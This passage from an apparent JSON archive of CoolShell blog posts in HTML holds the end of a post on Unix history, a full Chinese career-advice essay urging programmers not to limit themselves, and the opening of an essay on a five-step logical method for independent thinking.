rel=\"noopener noreferrer\" target=\"_blank\">unix-history-repo</a> 目录（注：本文给的这个链接不在master分支上），这个repo是40年前的代码，涵盖了从1970年创建时的2.5万行内核和26条命令到2017年为止广泛使用的2700万行系统。1.1GB的存储库包含大约一百万次提交和两千多次合并。通过<a href=\"http://www.dmst.aueb.gr/dds/pubs/jrnl/2016-EMPSE-unix-history/html/unix-history.html\" rel=\"noopener noreferrer\" target=\"_blank\">这个链接</a>你可以了解一下这个代码的历史！</p>\n<p>下载这些代码需要你的1.5GB的硬盘空间，你可以查看各个大神写的代码，包括 Ken Thompson 和 Dennis的，以及相关的注释。</p>\n<p>根据这些，你还可以找到 Ken Thompson的 Github账号 <a href=\"https://github.com/ken\" rel=\"noopener noreferrer\" target=\"_blank\">https://github.com/ken</a> 以及别人为dmr建的github帐号 <a href=\"https://github.com/dmr-1941-2011\">https://github.com/dmr-1941-2011</a></p>\n<p>P.S.S</p>\n<p>下面是一些和Unix相关的维基百科资料</p>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/History_of_Unix\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">History of Unix</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_Unix_systems\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">List of Unix systems</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_Unix_commands\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">List of Unix commands</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_Unix_daemons\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">List of Unix daemons</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Research_Unix\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">Research Unix</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/BSD_Unix\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">Berkeley Software Distribution</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Unix_philosophy\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">Unix philosophy</a></li>\n</ul>\n<p>还有Unix的社区：TUHS: The Unix Heritage Society – <a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl\" rel=\"nofollow\">The Unix Tree</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2322.html\"><img alt=\"Unix传奇(上篇)\" height=\"150\" src=\"../wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2322.html\">Unix传奇(上篇)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9410.html\"><img alt=\"Unix考古记：一个“遗失”的shell\" height=\"150\" src=\"../wp-content/uploads/2013/04/figure1-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9410.html\">Unix考古记：一个“遗失”的shell</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1761.html\"><img alt=\"Go语言源码的一个改动\" height=\"150\" src=\"../wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1761.html\">Go语言源码的一个改动</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19996.html\">Unix 50 年：Ken Thompson 的密码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2019-12-1 别让自己“墙”了自己.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-20332\" height=\"198\" src=\"../wp-content/uploads/2019/12/open-your-creative-mind-300x198.jpg\" width=\"300\"/>这一两周与几个朋友聊天，有年轻的90后，也有大叔级的70后，这些人在我看来都是很有能力的人，但是一些喜好过于强烈，让我不经意地回顾了我工作20年来身边的人，有发展得好的，也有发展的不好的，有些人是很可惜的，因为限制他们的不是其它人，也不是环境，而是自己，所以，很想写下这篇文章。（注：这篇文章可能会是一篇说教的文章，所以，可能会让你看着犯困，所以，我会尽量地短一些，而且尽可能多讲故事，少道理，这里的故事，全是真实发生的）</p>\n<h4>几个故事</h4>\n<p>2019年年初，我面试了一个很年轻的小伙子（93/94年出生），这个小伙子特别有灵性，也很聪明，计算机专业出身，也很喜欢技术，基础和学习能力也很好。在我这20年来认识的人中，如果他能呆在北京、上海、深圳这样的城市，我保证不出三年，他会成为他们同龄人中非常出色的技术人员，如果有个好的舞台有一个好的团队带他，他的未来会非常成功。然而，这个小伙子有两大喜好：1）只愿（或是说被迫）呆在一个毫无IT的环境的三/四线城市，2）对技术有非常大的偏好，只喜欢Go语言，非常不喜欢其它的语言，比如：Java（离开Java的世界，基本上离开了做架构的世界（<strong>相关解释见文末</strong>））。</p>\n<p>他的这两个喜好，足以让一个未来会很优秀的人毁掉，因为，这个时代没有限制他，他的能力也没有限制他，但是他的意识完完全全地限制了他。<span id=\"more-20276\"></span></p>\n<ul>\n<li>他把自己最宝贵的青春放在了很烂的项目上，就算能用一些新的技术，他也只能算是自娱自乐，在实验室中玩玩具罢了。</li>\n<li>他把自己的技术栈封闭起来，而直接放弃了这个时代最具工业化的技术Java，对于一个好的程序员来说，同时掌握几门语言和技术完全是没什么问题，但是自己封闭了自己的视野。</li>\n</ul>\n<p>实在是非常可惜，我本来是可以为他介绍到一些很不错的公司的，但是他这样的习性，等于自己把自己未来的门给关上了，虽然我跟他长谈过，但是我也没有办法叫醒不想醒的人……</p>\n<ul>\n<li>视野、环境和舞台，对一个人的限制是非常大的。井蛙不知道大海，被空间维度所限制；夏虫不知道冬天，是被时间维度所限制；圈养的动物没有斗志，是被自己意识所限制。</li>\n<li>偏见和不开放，对一个人的限制是真正有毁灭性的。主动让自己成为一个瞎子和聋子，主动把自己的能力阉割掉，这是一件令人痛心的事。想想大清的闭关锁国是如何让亚洲第一的北洋水师给毁掉的……</li>\n</ul>\n<p>我还有个同学，他的技术并不差，就算呆在昆明这种很落后的地方，他也非常地好学，学习英文，学习各种新技术，对技术没有任何的偏好，喜欢C/C++/Java/Python/Shell，同样喜欢前端Javascript，对基础知识非常地踏实，他在技术上没有限制自己的潜力，有什么就学什么。后来，我带他玩Docker/Go/K8S……分布式架构，他也上手的很快……像他这样的人，技术能力完全没得说，比我还大一岁，44岁了，还是一样的天天追代码细节，看Youtube的各种大会，翻github里的各种issue和pull request……</p>\n<p>我同学这人，拥有了成为一个技术牛人几乎所有的条件：基础知识过硬，细节扎得深，面很广，学习能力强，有英文能力，逻辑思维能力不错，非常的自律，执行力也很强，抓得住重点……然而，只有一个小问题，就是没有到大公司历练过，我三番五次叫他从昆明出来，但是最终他都呆在昆明这个城市没有出来，因为有所谓的家庭约束。然而，我身边还有好些人，把自己家从北京搬到上海，从上海搬到深圳，从厦门搬到深圳……这样的人大有人在……像他这样的能力，在哪个公司都会是主力和骨干，对于一个公司的主力和骨干来说，家庭上的这些问题都是小问题都是有很多解的……</p>\n<p>另外，我这个同学还是一个比较悲观的人，任何事情都是先想到不好的事，他关注负面的东西会胜于正面的东西，而且他还有一定的社交恐惧，怕与人相处和交流，时间越长越害怕，甚至有时候直接跟我说，“我就是不想改变”这样的话……其实，我以前也是一个很害怕与人交流的人，面试的时候，我根本不敢正眼看面试官一眼，也不知道与人怎么交流。但是，我与他不一样，我努力克服，不断地面试，与人面对面的交流，到一线技术客服接用户的电话，在公司里做分享，慢慢地到外面分享……3-5年就完全克服掉了。</p>\n<p>其实，很多事情，完全是有解的，也没有必要担心，自己的心理障碍也是可以克服的，重点就是自己愿不愿意，只要愿意完成了一半，接下来就是不断的摸爬滚打坚持了。</p>\n<ul>\n<li>不限制自己的人，会穷举各种方法来解决问题，限制自己的人，只会找各式各样的问题或借口。</li>\n<li>不限制自己的人，会努力改变自己的问题和缺陷，限制自己的人，会放任自己。</li>\n</ul>\n<h4>另外几个故事</h4>\n<p>我还有另外几个故事（活到四十多，能看到好多人十几年的发展过程，感觉有点上帝视角了）</p>\n<p>我还有一个以前团队里的一个小伙，人是很聪明，但就完全就是野路子，他对技术没有什么偏好，一个PHP程序员，做那个Discuz!论坛，公司被并购了，转成Java，开始研究Java的各种细节，对技术从来没有什么偏见，有什么就玩什么，每做一个项目，就算是一样的他都要用新的技术做一遍，然后跟着我做云计算，我教他TCP，教他C/C++，后来一起玩Docker/Go，等等，反正是一点就通，他是我见过学习能力最强的人。但是，有一个事他一直与我的想法不一样，就是我希望他先把软件设计好，再写代码，他非常不能理解，他习惯于直接动手开干，然后有什么问题就整什么问题，我也很难教育他。</p>\n<p>有一天，他电话面了一下Facebook，电话面了15分钟后对方就放弃了，他受到了严重的打击。然后，他就开始找菲利宾人练英文口语了，我也让他做算法题，然后，他才发现，一道连算法都不是的纯编程题都提交几次都过不了，等他做完了Leetcode最初的那151道题后，整个人都改变了，写代码前认认真真地在纸上把程序的状态，处理时序以及可能遇到的一些条件先罗列出来，然后，进行逻辑设计后，再写，从此，他就开启他更大的天地了。我后来把他推荐给了微软，先在中国的Bing，在中国升好2-3级，然后去了美国的Azure，现在听说他准备要跟 k8s 的 co-founder <a href=\"https://github.com/brendandburns\" rel=\"noopener noreferrer\" target=\"_blank\">Brendan Burns</a> 混了（虽然，他现在还在印度人手下，但是，我真的不知道他未来能玩多大，因为今年他才33岁，而且非常聪明）</p>\n<p>他以前是把自己封闭起来的，我叫他出来，他也不出来，后来因为一些办公室政治的原因不得不来找我，于是我就带着他玩了两年，跟他讲了很多外面的世界是怎么玩的，他这个人也是一个相当不善于社交的人，但是心是开放的，愿意接受新的东西，虽然对技术也有一定偏见，比如不喜欢Windows，但是也不会不喜欢到完全封闭。后来我跟他说，微软的技术相当的强的，你看到的技术只是表面，深层次的东西都是相通的，直到他到了微软后发现各种牛逼的东西，对微软系统的技术的态度也有了改变，而且我让他跟我说很多微软那边的事，我发现，他对技术了解的维度已经是越来越高级的了……</p>\n<p>还是我以前团队的一个小伙，他是一个前端，他说前端的东西没什么意思，想来找我做后端，我也一点点带他……后来，我说，你如果想要玩得好，你必需来北京，无论现在你觉得过得有多好，你都要放弃掉，然后，尽最大可能出去经历一下世界最顶尖的公司，我甚至跟他说，如果他女朋友不跟来的话，就先分开一段时间，先自己立业，他来北京的时候，他之前的同事都等着看他的笑话，我说，那些人连想都不敢想，不必管他们。于是，他去了Amazon，再过了一年去了西雅图，我跟他说，接下来就是去AWS，然后，如果有足够的野心，用自己的年轻这个资本去硅谷创业公司赌一把……未来他怎么样我不知道，但至少他没有限制自己，他的未来不会有封顶……</p>\n<p>也是我的同学，我跟他在大学是上下铺，后来他去了人民大学读计算机博士，大学的时候做国产数据库kingbase，然后去了一家外企，天天被派到用户那边做数据分析，后来，他想回科研单位做国产数据库，我说，别啊，你的技术比我好太多，还有博士理论加持，你不去国外顶尖公司玩玩，你不知道自己有多强的，于是他跟公司申请去了国外做核心，后来因为Hadoop的原因，公司的产品最终成为了历史，于是我说，你来了美国么，你一定要去AWS，于是他就去了AWS的Aurora团队，成为了AWS明星级产品的中坚力量，天天在改MySQL的核心源码，干了两年，正在晋升 Principal Software Engineer ……</p>\n<p>这里我到不是说出国有多牛，也许你只关注能挣多少钱，但是我想说，他们之所以能有这样的际遇，除了他们本来就有实力，还更因为他们从来不给自己设制什么限制，就是那种“艺多不压身”，有什么就学什么，有更高的就去向更高的迈进，其它的像家庭什么的问题其实都是会有解的，真的不必担心太多……</p>\n<h4> 别限制了自己</h4>\n<p>上面的这些故事，也许你能看得懂，也许你看得不一定能懂，这里，让我来做个总结吧</p>\n<ul>\n<li><strong>做有价值的事</strong>。这个世界对计算机人才的要求是供不应求的，所以，不要让自己为自己找各式各样的借口，让自己活在“玩玩具”、“搬砖”和“使蛮力加班”的境地。其实，我发现这世界上有能力的人并不少，但是有品味的人的确很少。<strong>所谓的有价值，就是，别人愿付高价的，高技术门槛的，有创造力的，有颠覆性的</strong>……</li>\n<li><strong>扩大自己的眼界，开放自己的内心</strong>。人要变得开放，千万不要做一个狭隘的民族主义者，做一个开放的人，把目光放在全人类这个维度，不断地把自己融入到世界上，而不是把自己封闭起来，这里，<strong>你的英文语言能力对你能不能融入世界是起决定性的作用</strong>。开放自己的心态，正视自己的缺点，你才可能往前迈进。<strong>你的视野决定了你的知不知道要去哪，你的开放决定了你想不想去</strong>。</li>\n<li><strong>站在更高的维度</strong>。面的维度会超过点的维点，空间的维度会超过面的维度，在更高维度上思考和学习，你会获得更多。<strong>整天在焦虑那些低维度的事（比如自己的薪水、工作的地点、稳不稳定、有没有户口……），只会让你变得越来越平庸，只要你站在更高的维度（比如： 眼界有没有扩大、可能性是不是更多、竞争力是不是更强、能不能解决更大更难的问题、能创造多大的价值……），时间会让你明白那些低维度的东西全都不是事儿</strong>。技术学习上也一样，站在学习编程语法特性的维度和站在学习编程范式、设计模式的维度是两种完全不一样的学习方式。</li>\n<li><strong>精于计算得失</strong>。很多人其实不是很懂计算。绝大多数人都是在算计自己会失去多少，而不会算会得到多少。而一般的人也总是在算短期内会失去什么，优秀则总是会算我投入后未来会有什么样的回报，前者在算计今天，目光短浅，而后者则是舍在今天，得在明天，计算的是未来。<strong><strong>精于计算得失的，就懂得什么是投资，不懂的只会投机。对于赚钱，你可以投机，但是对于自己最好还是投资。</strong></strong></li>\n<li><strong>勇于跳出传统的束缚</strong>。有时候，跳出传统并不是一件很容易的事，因为大多数人都会对未知有恐惧的心理。比如：我看到很多人才都被大公司垄断了，其实，有能力的人都不需要加入大公司，有能力的人是少数，这些少数的人应该是所有的公司share着用的，这样一来，对于所有的人都是利益最大化的。这样的事现在也有，比如：律师、设计师……。但是，绝大多数有能力的技术人员是不敢走出这步。我在2015年到2016年实践过一年半，有过这些实践，做“鸡”的比“二奶”好多了，收入也好很多很多（不好意思开车了）……</li>\n</ul>\n<p>庄子说过几句话——</p>\n<blockquote>\n<p class=\"p1\">井蛙不可以语于海者，拘于虚也；//空间局限</p>\n<p class=\"p1\">夏虫不可以语于冰者，笃于时也；//时间局限</p>\n<p class=\"p1\">曲士不可以语于道者，束于教也。//认识局限</p>\n</blockquote>\n<p>别自己墙了自己，人最可悲的就是自己限制自己，想都不敢想，共勉！</p>\n<p>————————————————————</p>\n<p><strong>注：这篇文章就是要劝大家更为开放，让自己有更多的可能性，能到更高的层次，做更有价值的事，成为更强更好的人……当然，如果你觉得你只想做一个平凡人，也和本文并不冲突……另外你也不要觉得这篇文章是让你要成为一个精英，但你一定要去摸高……这篇文章是告诉你一种面对人生的思考方式，在这种思考方式下，你会有更多的可能性，更大的场景……而不是直接把自己归到“平常人”，把自己“墙”了！</strong></p>\n<p>注：我以为用Java适合做架构这事应该是常识了，但是评论中有很多人非常反对这个事。那我解释一下吧：首先，小型的项目用什么语言都行，爱用什么用什么。但是，真正的企业级架构就不一样了，其中并不仅仅只是RESTful API或RPC，还有各种配套设施和控制系统，比如：应用网关，服务发现、配置中心、健康检查、服务监控、服务治理（熔断、限流、幂等、重试、隔离、事务补偿）、Tracing监控、SOA/ESB、CQRS、EDA……这些东西在非Java的技术栈体系内，很难看到全貌，<strong>Java强大的生态环境，就是让你把注意力放到更高层次的架构和业务上来的</strong>。（千万不要觉得，整几个服务RPC一下，加个缓存，加个队列，就能叫架构，那只是系统集成罢了）</p>\n<p>（全文完）</p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/20276.html\">别让自己“墙”了自己</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2019-12-26 使用简单的逻辑方法进行独立思考.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright wp-image-20548 size-sup_wechat_small\" height=\"200\" src=\"../wp-content/uploads/2019/12/logical-smart-intelligence-200x200.png\" width=\"200\"/>这是一个非常复杂的世界，这个世界上有很多各式各样的观点和思维方式，作为一个程序员的我，也会有程序员的思维方式，程序员的思维方式更接近数学的思维方式，数学的思维方式让可以很容易地理清楚这个混乱的世界，其实，并不需要太复杂的数学逻辑，只需要使用一些简单的数学方法，就可以大幅提升自己的认识能力，所以，在这里，记录一篇我自己的思维方式，一方面给大家做个参考，另一方面也供更高阶的人给我进行指正。算是“开源我的思维方式”，开放不仅仅是为了输出，更是为了看看有没有更好的方式。</p>\n<p>我的思维方式中，使用数学逻辑的方式进行思考，通常来说，我会使用五步思考的方式：</p>\n<p><strong>第一步：信息数据可考证</strong>。如果一个观点或是一个见解的数据是错误的，那么就会造成后面的观点全是错的，所以，首要的是要进行数据的查证或考证。一般来说，如果一篇文章的作者足够严谨的话，他的需要给他的数据建立相关的引用或是可以考证的方法方式。如果一篇文章中出现的是，“有关专家表明”、“美国科学家证明”、“经济学家指出”，但是没有任出处，也没有点明这个专家或是科学家的名字，或是，也没有说明或引用让读者可以自己去验证的方法。那么，其引用的话或是数据是无法考证的，如果是无法考证的，那么，这篇文章的水份就非常大了。一般来说，当我读到一篇文章中的东西没有可考证的来源或是方法时，通常来说，我就不会再读了，因为这篇文章的价值已经不大了，如果我关心这篇文章中的东西，我会改为自己去查找的方式，虽然变“重”了，但是很安全。（所以，像Wikipedia这样的网站是我经常去获得信息的地方，因为信息可以被考证是其基本价值观）</p>\n<p><span id=\"more-20533\"></span></p>\n<p><strong>第二步：处理集合和其包含关系</strong>。这是一个非常简单的人人都会的数学逻辑。比如：哲学家是人，柏拉图是哲学家，所以，柏拉图是人。就是一个在包含关系下的推理。你不要小看这个简单的逻辑，其实很多人并不会很好的应用，相反，当感情支配了他们以后，他们会以点代面，以特例代替普遍性。比如，地图炮就是一种，他们看到了多个案例，他们就开始把这个案例上升上更大的范围，比如：河南人新疆人都是小偷，上海人都是小市民。日本人都是变态和反人类……等等。除了这些地图炮外，还有否定整个人的，比如一个人犯了个错或是性格上有缺陷，就会把整个人全盘否定掉，员工抢个月饼就上升到其价值观有问题……。在数学的逻辑包含中，超集的定义可以适用于子集，通过子集的特征可以对超集进行探索，但是没法定义超集。另外，集合的大小也是一个很重要的事，<a href=\"https://zh.wikipedia.org/wiki/%E5%80%96%E5%AD%98%E8%80%85%E5%81%8F%E5%B7%AE\" rel=\"noopener noreferrer\" target=\"_blank\">幸存者偏差</a>会是一个很容易让人掉下去的陷阱，因为可能会有很大的样本集可能在你的视线盲区。</p>\n<p><strong>第三步：处理逻辑因果关系</strong>。所谓因果关系，其实就是分辨充分条件、必要条件和充分必要条件，然后处理其中的逻辑是否有关联性，而且有非常强的因果关系。没有能力分辨充分必要条件处理因果关系是很多人的硬伤。就像我在《<a href=\"https://coolshell.cn/articles/19271.html\" rel=\"noopener noreferrer\" target=\"_blank\">努力就会成功</a>》中说的一样，“努力” 和 “成功”是否有因果关系？各种逻辑混淆、概念偷换、模糊因果、似是而非全是在这里。比如：掩耳盗铃、刻舟求剑就是因果关系混乱的表现。人们会经常地混淆两个看来一起发生，但是并没有关联在一起的事。因果关系是最容易被模糊和偷换的，比如：很多人都容易混淆“加班”就会有“产出”，混淆了“行动”就会有“结果”，混淆了“抵制”就会赢得“尊重”，混淆了“批评”等于“反对”……等等。除了这些以外，微信公众号里的很多时评文章，他们的文章中的结论和其论据是没有因果关系的，好多文章就是混淆、模糊、偷换……<strong>因果关系出问题的文章读多了是对大脑有损伤的，要尽量远离</strong>。</p>\n<p><strong>第四步：找到靠谱的基准线</strong>。就像我们写代码一样，我们都是会去找一些最佳实践或是业内标准，原因是因为，这样的东西都是经过长时间被这个世界上很多人Review过的，是值得依赖和靠谱的，他们会考虑到很多你没有考虑过的问题。所以，你也会看到很多时评都会找欧美发达国家的作参考的做法，因为毕竟人家的文化是相对比较文明、科学、开放和先进的。找到世界或是国际的通行标准，会更容易让人进步。比如：以开放包容加强沟通的心态，就会比封闭抵制敌对的心态要好得多得多，智者建桥，愚者建墙。当然，我们也开始发现，有一些事上，有利于自己的就对标，不利于自己的就不对标，而且，除了好的事，不好的事也在找欧美作对标，于是开始“多基准线”和“乱基准线”，这种方式需要我们小心分辨。</p>\n<p><strong>第五步：更为深入和高维的思考</strong>。如果一件事情只在表面上进行思考其实只是一种浅度思考，在Amazon，线上系统出现故障的时候，需要写一个Correction of Errors的报告，其中需要Ask 5 Whys（参看 Wikipedia 的 <a href=\"https://en.wikipedia.org/wiki/Five_whys\" rel=\"noopener noreferrer\" target=\"_blank\">Five Whys 词条</a>），这种思考方式可以让你不断追问到深层次的本质问题，会让你自己做大量的调查和研究，让你不会成为一个只会在表面上进行思考的简单动物。比如：当你看到有出乎你意料的事件发生时（比如负面的暴力事件），你需要问一下，为什么会发生，原因是什么？然后罗列尽可能全的原因，再不断地追问并拷证下去（这跟写程序一样，需要从正向案例和负向案例进行考虑分析，才可能写出健壮性很强的代码），我们才会得出一个比较健壮的答案或结构。</p>\n<p>需要注意的是，在上述的这五种思维方式下，你的思考是不可能快得起来的，这是一个“慢思考”（注：如果读过《<a href=\"https://book.douban.com/subject/10785583//\" rel=\"noopener noreferrer\" target=\"_blank\">思考，快与慢</a>》这本书的人就知道我在说什么），独立思考是需要使用大脑中的“慢系统”，慢系统是反人性的，所以，能真正做到独立思考的人很少。更多的人的“独立思考”其实只不过是毫无章法的乱思考罢了。</p>\n<p>通过上述的这五点，我相信你是很容易识别或是分辨出哪些信息是靠谱的，哪些信息是很扯的，甚至会改善你自己的言论和思考。但是，<strong>请注意，这些方法并不能让你获得真理或是真相</strong>。但是这也够了，一个人如果拥有了能够分辨是非的能力，也是很不错的了。虽然不知道事实是什么，但是你也不会盲从和偏信，从而不会被人煽动，而成为幕后黑手的的一只“肉鸡”。</p>\n<p>多说两句，下面是一些我个人的一些实践：</p>\n<ul>\n<li>当新闻报道报道的不是客观事实，而是加入了很多观点，那么这篇新闻报道是不可信的。</li>\n<li>对于评论性的文章，没有充足权威可信的论据时，不能完全相信。</li>\n<li>不是当事人，不是见证人，还要装作自己是知情的……不知道这种人的自信怎么来的？</li>\n<li>信息不公开的，并有意屏蔽信息的，不能作为可信的信息源。</li>\n<li>当出现大是或是大非的事时，一定要非常小心，这个世界不存在完全的美和完全的丑，这样的观点通常来说都是危险的，此时要多看看不同角度的报道和评论，要多收集一些信息，还要多问问为什么。</li>\n</ul>\n<p>欢迎你告诉我一些你的实践和思维方式。</p>\n<p>（全文完）</p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" 